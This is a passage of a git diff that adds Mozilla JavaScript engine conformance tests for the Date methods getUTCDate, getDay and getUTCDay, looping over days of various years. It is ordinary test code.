+ "(new Date("+d+")).getUTCDate()",
+ DateFromTime(d),
+ (new Date(d)).getUTCDate() );
+ }
+}
diff --git a/js/src/tests/ecma/Date/15.9.5.11-2.js b/js/src/tests/ecma/Date/15.9.5.11-2.js
new file mode 100644
index 000000000..87a5e0c36
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.5.11-2.js
@@ -0,0 +1,42 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.11
+ ECMA Section: 15.9.5.11
+ Description: Date.prototype.getUTCDate
+
+ 1.Let t be this time value.
+ 2.If t is NaN, return NaN.
+ 1.Return DateFromTime(t).
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "15.9.5.11";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Date.prototype.getUTCDate()";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+addTestCase( TIME_0000 );
+
+test();
+
+function addTestCase( t ) {
+ var start = TimeFromYear(YearFromTime(t));
+ var stop = TimeFromYear(YearFromTime(t) + 1);
+
+ for (var d = start; d < stop; d += msPerDay)
+ {
+ new TestCase( SECTION,
+ "(new Date("+d+")).getUTCDate()",
+ DateFromTime(d),
+ (new Date(d)).getUTCDate() );
+ }
+}
diff --git a/js/src/tests/ecma/Date/15.9.5.11-3.js b/js/src/tests/ecma/Date/15.9.5.11-3.js
new file mode 100644
index 000000000..4b7c5ba23
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.5.11-3.js
@@ -0,0 +1,42 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.11.js
+ ECMA Section: 15.9.5.11
+ Description: Date.prototype.getUTCDate
+
+ 1.Let t be this time value.
+ 2.If t is NaN, return NaN.
+ 1.Return DateFromTime(t).
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "15.9.5.11";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Date.prototype.getUTCDate()";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+addTestCase( TIME_1970 );
+
+test();
+
+function addTestCase( t ) {
+ var start = TimeFromYear(YearFromTime(t));
+ var stop = TimeFromYear(YearFromTime(t) + 1);
+
+ for (var d = start; d < stop; d += msPerDay)
+ {
+ new TestCase( SECTION,
+ "(new Date("+d+")).getUTCDate()",
+ DateFromTime(d),
+ (new Date(d)).getUTCDate() );
+ }
+}
diff --git a/js/src/tests/ecma/Date/15.9.5.11-4.js b/js/src/tests/ecma/Date/15.9.5.11-4.js
new file mode 100644
index 000000000..4ea309249
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.5.11-4.js
@@ -0,0 +1,42 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.11.js
+ ECMA Section: 15.9.5.11
+ Description: Date.prototype.getUTCDate
+
+ 1.Let t be this time value.
+ 2.If t is NaN, return NaN.
+ 1.Return DateFromTime(t).
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "15.9.5.11";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Date.prototype.getUTCDate()";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+addTestCase( TIME_1900 );
+
+test();
+
+function addTestCase( t ) {
+ var start = TimeFromYear(YearFromTime(t));
+ var stop = TimeFromYear(YearFromTime(t) + 1);
+
+ for (var d = start; d < stop; d += msPerDay)
+ {
+ new TestCase( SECTION,
+ "(new Date("+d+")).getUTCDate()",
+ DateFromTime(d),
+ (new Date(d)).getUTCDate() );
+ }
+}
diff --git a/js/src/tests/ecma/Date/15.9.5.11-5.js b/js/src/tests/ecma/Date/15.9.5.11-5.js
new file mode 100644
index 000000000..9d895effa
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.5.11-5.js
@@ -0,0 +1,42 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.11.js
+ ECMA Section: 15.9.5.11
+ Description: Date.prototype.getUTCDate
+
+ 1.Let t be this time value.
+ 2.If t is NaN, return NaN.
+ 1.Return DateFromTime(t).
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "15.9.5.11";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Date.prototype.getUTCDate()";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+addTestCase( TIME_2000 );
+
+test();
+
+function addTestCase( t ) {
+ var start = TimeFromYear(YearFromTime(t));
+ var stop = TimeFromYear(YearFromTime(t) + 1);
+
+ for (var d = start; d < stop; d += msPerDay)
+ {
+ new TestCase( SECTION,
+ "(new Date("+d+")).getUTCDate()",
+ DateFromTime(d),
+ (new Date(d)).getUTCDate() );
+ }
+}
diff --git a/js/src/tests/ecma/Date/15.9.5.11-6.js b/js/src/tests/ecma/Date/15.9.5.11-6.js
new file mode 100644
index 000000000..921929ca1
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.5.11-6.js
@@ -0,0 +1,42 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.11.js
+ ECMA Section: 15.9.5.11
+ Description: Date.prototype.getUTCDate
+
+ 1.Let t be this time value.
+ 2.If t is NaN, return NaN.
+ 1.Return DateFromTime(t).
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "15.9.5.11";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Date.prototype.getUTCDate()";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+addTestCase( UTC_FEB_29_2000 );
+
+test();
+
+function addTestCase( t ) {
+ var start = TimeFromYear(YearFromTime(t));
+ var stop = TimeFromYear(YearFromTime(t) + 1);
+
+ for (var d = start; d < stop; d += msPerDay)
+ {
+ new TestCase( SECTION,
+ "(new Date("+d+")).getUTCDate()",
+ DateFromTime(d),
+ (new Date(d)).getUTCDate() );
+ }
+}
diff --git a/js/src/tests/ecma/Date/15.9.5.11-7.js b/js/src/tests/ecma/Date/15.9.5.11-7.js
new file mode 100644
index 000000000..4b4e23acf
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.5.11-7.js
@@ -0,0 +1,42 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.11.js
+ ECMA Section: 15.9.5.11
+ Description: Date.prototype.getUTCDate
+
+ 1.Let t be this time value.
+ 2.If t is NaN, return NaN.
+ 1.Return DateFromTime(t).
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "15.9.5.11";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Date.prototype.getUTCDate()";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+addTestCase( UTC_JAN_1_2005 );
+
+test();
+
+function addTestCase( t ) {
+ var start = TimeFromYear(YearFromTime(t));
+ var stop = TimeFromYear(YearFromTime(t) + 1);
+
+ for (var d = start; d < stop; d += msPerDay)
+ {
+ new TestCase( SECTION,
+ "(new Date("+d+")).getUTCDate()",
+ DateFromTime(d),
+ (new Date(d)).getUTCDate() );
+ }
+}
diff --git a/js/src/tests/ecma/Date/15.9.5.12-1.js b/js/src/tests/ecma/Date/15.9.5.12-1.js
new file mode 100644
index 000000000..a6b07e18c
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.5.12-1.js
@@ -0,0 +1,43 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.12.js
+ ECMA Section: 15.9.5.12
+ Description: Date.prototype.getDay
+
+
+ 1. Let t be this time value.
+ 2. If t is NaN, return NaN.
+ 3. Return WeekDay(LocalTime(t)).
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "15.9.5.12";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Date.prototype.getDay()";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+addTestCase( TIME_NOW );
+
+test();
+
+function addTestCase( t ) {
+ var start = TimeFromYear(YearFromTime(t));
+ var stop = TimeFromYear(YearFromTime(t) + 1);
+
+ for (var d = start; d < stop; d += msPerDay)
+ {
+ new TestCase( SECTION,
+ "(new Date("+d+")).getDay()",
+ WeekDay((LocalTime(d))),
+ (new Date(d)).getDay() );
+ }
+}
diff --git a/js/src/tests/ecma/Date/15.9.5.12-2.js b/js/src/tests/ecma/Date/15.9.5.12-2.js
new file mode 100644
index 000000000..9aabb985d
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.5.12-2.js
@@ -0,0 +1,44 @@
+// |reftest| skip-if(!xulRuntime.shell&&xulRuntime.OS=="Linux"&&xulRuntime.XPCOMABI.match(/x86_64/)) -- bug xxx crash
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.12.js
+ ECMA Section: 15.9.5.12
+ Description: Date.prototype.getDay
+
+
+ 1. Let t be this time value.
+ 2. If t is NaN, return NaN.
+ 3. Return WeekDay(LocalTime(t)).
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "15.9.5.12";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Date.prototype.getDay()";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+addTestCase( TIME_0000 );
+
+test();
+
+function addTestCase( t ) {
+ var start = TimeFromYear(YearFromTime(t));
+ var stop = TimeFromYear(YearFromTime(t) + 1);
+
+ for (var d = start; d < stop; d += msPerDay)
+ {
+ new TestCase( SECTION,
+ "(new Date("+d+")).getDay()",
+ WeekDay((LocalTime(d))),
+ (new Date(d)).getDay() );
+ }
+}
diff --git a/js/src/tests/ecma/Date/15.9.5.12-3.js b/js/src/tests/ecma/Date/15.9.5.12-3.js
new file mode 100644
index 000000000..4d824e002
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.5.12-3.js
@@ -0,0 +1,43 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.12.js
+ ECMA Section: 15.9.5.12
+ Description: Date.prototype.getDay
+
+
+ 1. Let t be this time value.
+ 2. If t is NaN, return NaN.
+ 3. Return WeekDay(LocalTime(t)).
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "15.9.5.12";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Date.prototype.getDay()";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+addTestCase( TIME_1970 );
+
+test();
+
+function addTestCase( t ) {
+ var start = TimeFromYear(YearFromTime(t));
+ var stop = TimeFromYear(YearFromTime(t) + 1);
+
+ for (var d = start; d < stop; d += msPerDay)
+ {
+ new TestCase( SECTION,
+ "(new Date("+d+")).getDay()",
+ WeekDay((LocalTime(d))),
+ (new Date(d)).getDay() );
+ }
+}
diff --git a/js/src/tests/ecma/Date/15.9.5.12-4.js b/js/src/tests/ecma/Date/15.9.5.12-4.js
new file mode 100644
index 000000000..93440fe70
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.5.12-4.js
@@ -0,0 +1,43 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.12.js
+ ECMA Section: 15.9.5.12
+ Description: Date.prototype.getDay
+
+
+ 1. Let t be this time value.
+ 2. If t is NaN, return NaN.
+ 3. Return WeekDay(LocalTime(t)).
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "15.9.5.12";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Date.prototype.getDay()";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+addTestCase( TIME_1900 );
+
+test();
+
+function addTestCase( t ) {
+ var start = TimeFromYear(YearFromTime(t));
+ var stop = TimeFromYear(YearFromTime(t) + 1);
+
+ for (var d = start; d < stop; d += msPerDay)
+ {
+ new TestCase( SECTION,
+ "(new Date("+d+")).getDay()",
+ WeekDay((LocalTime(d))),
+ (new Date(d)).getDay() );
+ }
+}
diff --git a/js/src/tests/ecma/Date/15.9.5.12-5.js b/js/src/tests/ecma/Date/15.9.5.12-5.js
new file mode 100644
index 000000000..2a8cd9842
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.5.12-5.js
@@ -0,0 +1,43 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.12.js
+ ECMA Section: 15.9.5.12
+ Description: Date.prototype.getDay
+
+
+ 1. Let t be this time value.
+ 2. If t is NaN, return NaN.
+ 3. Return WeekDay(LocalTime(t)).
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "15.9.5.12";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Date.prototype.getDay()";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+addTestCase( TIME_2000 );
+
+test();
+
+function addTestCase( t ) {
+ var start = TimeFromYear(YearFromTime(t));
+ var stop = TimeFromYear(YearFromTime(t) + 1);
+
+ for (var d = start; d < stop; d += msPerDay)
+ {
+ new TestCase( SECTION,
+ "(new Date("+d+")).getDay()",
+ WeekDay((LocalTime(d))),
+ (new Date(d)).getDay() );
+ }
+}
diff --git a/js/src/tests/ecma/Date/15.9.5.12-6.js b/js/src/tests/ecma/Date/15.9.5.12-6.js
new file mode 100644
index 000000000..4f2b270a5
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.5.12-6.js
@@ -0,0 +1,43 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.12.js
+ ECMA Section: 15.9.5.12
+ Description: Date.prototype.getDay
+
+
+ 1. Let t be this time value.
+ 2. If t is NaN, return NaN.
+ 3. Return WeekDay(LocalTime(t)).
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "15.9.5.12";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Date.prototype.getDay()";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+addTestCase( UTC_FEB_29_2000 );
+
+test();
+
+function addTestCase( t ) {
+ var start = TimeFromYear(YearFromTime(t));
+ var stop = TimeFromYear(YearFromTime(t) + 1);
+
+ for (var d = start; d < stop; d += msPerDay)
+ {
+ new TestCase( SECTION,
+ "(new Date("+d+")).getDay()",
+ WeekDay((LocalTime(d))),
+ (new Date(d)).getDay() );
+ }
+}
diff --git a/js/src/tests/ecma/Date/15.9.5.12-7.js b/js/src/tests/ecma/Date/15.9.5.12-7.js
new file mode 100644
index 000000000..7a0196a95
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.5.12-7.js
@@ -0,0 +1,43 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.12.js
+ ECMA Section: 15.9.5.12
+ Description: Date.prototype.getDay
+
+
+ 1. Let t be this time value.
+ 2. If t is NaN, return NaN.
+ 3. Return WeekDay(LocalTime(t)).
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "15.9.5.12";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Date.prototype.getDay()";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+addTestCase( UTC_JAN_1_2005 );
+
+test();
+
+function addTestCase( t ) {
+ var start = TimeFromYear(YearFromTime(t));
+ var stop = TimeFromYear(YearFromTime(t) + 1);
+
+ for (var d = start; d < stop; d += msPerDay)
+ {
+ new TestCase( SECTION,
+ "(new Date("+d+")).getDay()",
+ WeekDay((LocalTime(d))),
+ (new Date(d)).getDay() );
+ }
+}
diff --git a/js/src/tests/ecma/Date/15.9.5.12-8.js b/js/src/tests/ecma/Date/15.9.5.12-8.js
new file mode 100644
index 000000000..f832958ea
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.5.12-8.js
@@ -0,0 +1,37 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.12
+ ECMA Section: 15.9.5.12
+ Description: Date.prototype.getDay
+
+
+ 1. Let t be this time value.
+ 2. If t is NaN, return NaN.
+ 3. Return WeekDay(LocalTime(t)).
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "15.9.5.12";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Date.prototype.getDay()";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION,
+ "(new Date(NaN)).getDay()",
+ NaN,
+ (new Date(NaN)).getDay() );
+
+new TestCase( SECTION,
+ "Date.prototype.getDay.length",
+ 0,
+ Date.prototype.getDay.length );
+test();
diff --git a/js/src/tests/ecma/Date/15.9.5.13-1.js b/js/src/tests/ecma/Date/15.9.5.13-1.js
new file mode 100644
index 000000000..2fa44698d
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.5.13-1.js
@@ -0,0 +1,45 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.13.js
+ ECMA Section: 15.9.5.13
+ Description: Date.prototype.getUTCDay
+
+ 1.Let t be this time value.
+ 2.If t is NaN, return NaN.
+ 3.Return WeekDay(t).
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "15.9.5.13";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Date.prototype.getUTCDay()";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+// get the current time
+var now = (new Date()).valueOf();
+
+addTestCase( now );
+
+test();
+
+function addTestCase( t ) {
+ var start = TimeFromYear(YearFromTime(t));
+ var stop = TimeFromYear(YearFromTime(t) + 1);
+
+ for (var d = start; d < stop; d += msPerDay)
+ {
+ new TestCase( SECTION,
+ "(new Date("+d+")).getUTCDay()",
+ WeekDay((d)),
+ (new Date(d)).getUTCDay() );
+ }
+}
diff --git a/js/src/tests/ecma/Date/15.9.5.13-2.js b/js/src/tests/ecma/Date/15.9.5.13-2.js
new file mode 100644
index 000000000..02eca4ea2
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.5.13-2.js
@@ -0,0 +1,42 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.13
+ ECMA Section: 15.9.5.13
+ Description: Date.prototype.getUTCDay
+
+ 1.Let t be this time value.
+ 2.If t is NaN, return NaN.
+ 3.Return WeekDay(t).
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "15.9.5.13";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Date.prototype.getUTCDay()";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+addTestCase( TIME_0000 );
+
+test();
+
+function addTestCase( t ) {
+ var start = TimeFromYear(YearFromTime(t));
+ var stop = TimeFromYear(YearFromTime(t) + 1);
+
+ for (var d = start; d < stop; d += msPerDay)
+ {
+ new TestCase( SECTION,
+ "(new Date("+d+")).getUTCDay()",
+ WeekDay((d)),
+ (new Date(d)).getUTCDay() );
+ }
+}
diff --git a/js/src/tests/ecma/Date/15.9.5.13-3.js b/js/src/tests/ecma/Date/15.9.5.13-3.js
new file mode 100644
index 000000000..9370ceefc
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.5.13-3.js
@@ -0,0 +1,43 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.13.js
+ ECMA Section: 15.9.5.13
+ Description: Date.prototype.getUTCDay
+
+ 1.Let t be this time value.
+ 2.If t is NaN, return NaN.
+ 3.Return WeekDay(t).
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "15.9.5.13";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Date.prototype.getUTCDay()";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+addTestCase( TIME_1970 );
+
+test();
+
+function addTestCase( t ) {
+ var start = TimeFromYear(YearFromTime(t));
+ var stop = TimeFromYear(YearFromTime(t) + 1);
+
+ for (var d = start; d < stop; d += msPerDay)
+ {
+ new TestCase( SECTION,
+ "(new Date("+d+")).getUTCDay()",
+ WeekDay((d)),
+ (new Date(d)).getUTCDay() );
+ }
+}
+
diff --git a/js/src/tests/ecma/Date/15.9.5.13-4.js b/js/src/tests/ecma/Date/15.9.5.13-4.js
new file mode 100644
index 000000000..211f502fe
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.5.13-4.js
@@ -0,0 +1,43 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.13.js
+ ECMA Section: 15.9.5.13
+ Description: Date.prototype.getUTCDay
+
+ 1.Let t be this time value.
+ 2.If t is NaN, return NaN.
+ 3.Return WeekDay(t).
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "15.9.5.13";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Date.prototype.getUTCDay()";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+addTestCase( TIME_1900 );
+
+test();
+
+function addTestCase( t ) {
+ var start = TimeFromYear(YearFromTime(t));
+ var stop = TimeFromYear(YearFromTime(t) + 1);
+
+ for (var d = start; d < stop; d += msPerDay)
+ {
+ new TestCase( SECTION,
+ "(new Date("+d+")).getUTCDay()",
+ WeekDay((d)),
+ (new Date(d)).getUTCDay() );
+ }
+}
+
diff --git a/js/src/tests/ecma/Date/15.9.5.13-5.js b/js/src/tests/ecma/Date/15.9.5.13-5.js
new file mode 100644
index 000000000..d68e5b38e
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.5.13-5.js
@@ -0,0 +1,43 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.13.js
+ ECMA Section: 15.9.5.13
+ Description: Date.prototype.getUTCDay
+
+ 1.Let t be this time value.
+ 2.If t is NaN, return NaN.
+ 3.Return WeekDay(t).
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "15.9.5.13";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Date.prototype.getUTCDay()";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+addTestCase( TIME_2000 );
+
+test();
+
+function addTestCase( t ) {
+ var start = TimeFromYear(YearFromTime(t));
+ var stop = TimeFromYear(YearFromTime(t) + 1);
+
+ for (var d = start; d < stop; d += msPerDay)
+ {
+ new TestCase( SECTION,
+ "(new Date("+d+")).getUTCDay()",
+ WeekDay((d)),
+ (new Date(d)).getUTCDay() );
+ }
+}
+
diff --git a/js/src/tests/ecma/Date/15.9.5.13-6.js b/js/src/tests/ecma/Date/15.9.5.13-6.js
new file mode 100644
index 000000000..34393527f
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.5.13-6.js
@@ -0,0 +1,43 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.13.js
+ ECMA Section: 15.9.5.13
+ Description: Date.prototype.getUTCDay
+
+ 1.Let t be this time value.
+ 2.If t is NaN, return NaN.
+ 3.Return WeekDay(t).
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "15.9.5.13";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Date.prototype.getUTCDay()";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+addTestCase( UTC_FEB_29_2000 );
+
+test();
+
+function addTestCase( t ) {
+ var start = TimeFromYear(YearFromTime(t));
+ var stop = TimeFromYear(YearFromTime(t) + 1);
+
+ for (var d = start; d < stop; d += msPerDay)
+ {
+ new TestCase( SECTION,
+ "(new Date("+d+")).getUTCDay()",
+ WeekDay((d)),
+ (new Date(d)).getUTCDay() );
+ }
+}
+
diff --git a/js/src/tests/ecma/Date/15.9.5.13-7.js b/js/src/tests/ecma/Date/15.9.5.13-7.js
new file mode 100644
index 000000000..34c5d6b37
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.5.13-7.js
@@ -0,0 +1,42 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.13.js
+ ECMA Section: 15.9.5.13
+ Description: Date.prototype.getUTCDay
+
+ 1.Let t be this time value.
+ 2.If t is NaN, return NaN.
+ 3.Return WeekDay(t).
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "15.9.5.13";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Date.prototype.getUTCDay()";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+addTestCase( UTC_JAN_1_2005 );
+
+test();
+
+function addTestCase( t ) {
+ var start = TimeFromYear(YearFromTime(t));
+ var stop = TimeFromYear(YearFromTime(t) + 1);
+
+ for (var d = start; d < stop; d += msPerDay)
+ {
+ new TestCase( SECTION,
+ "(new Date("+d+")).getUTCDay()",
+ WeekDay((d)),
+ (new Date(d)).getUTCDay() );
+ }
+}
diff --git a/js/src/tests/ecma/Date/15.9.5.13-8.js b/js/src/tests/ecma/Date/15.9.5.13-8.js
new file mode 100644
index 000000000..a73bd8e0c
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.5.13-8.js
@@ -0,0 +1,37 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.13.js
+ ECMA Section: 15.9.5.13
+ Description: Date.prototype.getUTCDay
+
+ 1.Let t be this time value.
+ 2.If t is NaN, return NaN.
+ 3.Return WeekDay(t).
+
